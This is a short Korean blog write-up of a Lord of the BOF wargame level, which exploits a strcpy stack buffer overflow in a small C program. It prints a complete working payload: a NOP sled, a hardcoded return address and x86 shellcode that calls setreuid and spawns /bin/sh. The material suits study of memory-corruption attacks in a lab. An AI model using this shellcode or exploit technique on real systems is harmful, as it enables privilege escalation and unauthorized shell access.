- int main(int argc, char*argv[])
- {
- char buffer[16];
- if(argc < 2){
- printf("argv error\n");
- exit(0);
- }
- strcpy(buffer, argv[1]);
- printf("%s\n",buffer);
- }
1번문제와 다른점은 buffer의 사이즈가 작다는 것이다.
두가지 방법으로 풀 수 있는데
첫번째 방법은 argv[2]는 입력 제한이 없으므로 argv[2]의 주소를 ret의 주소로 덮어씌우는 방법이다.
두번째 방법은 환경변수를 이용한 방법인데
첫번째 방법이 간단해보이므로 첫번째 방법을 이용하도록 하겠다.
argv[ ]의 인자는 프로그램 시작과 동시에 전달되므로
main+3에 브레이크 포인트를 걸고 살펴보자.
r`python -c 'print "\x90"*20 + "BBBB"'``python -c 'print "A"*240'`
예쁘게 덮이지는 않았지만 그래도 덮인 모습이 눈에 보인다.
buffer(16) + sfp(4) + ret 이므로
\x42424242 로 덮인 부분이 eip 주소이며 이 부분을 덮어주면 될 것이다
리턴주소는 적당하게 \xc8\xfb\xff\xbf 로 잡아주자.
payload
./cobolt `python -c 'print "\x90"*20 + "\xc8\xfb\xff\xbf"'``python -c 'print "\x90"*200 + "\x31\xc0\xb0\x31\xcd\x80\x89\xc3\x89\xc1\x31\xc0\xb0\x46\xcd\x80\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x50\x53\x89\xe1\x89\xc2\xb0\x0b\xcd\x80"'`
hacking exposed
'pwnable > LOB' 카테고리의 다른 글
LOB goblin -> orc (0) | 2017.02.07 |
---|---|
LOB cobolt -> goblin (0) | 2017.02.07 |
LOB - gate -> gremlin (0) | 2017.02.07 |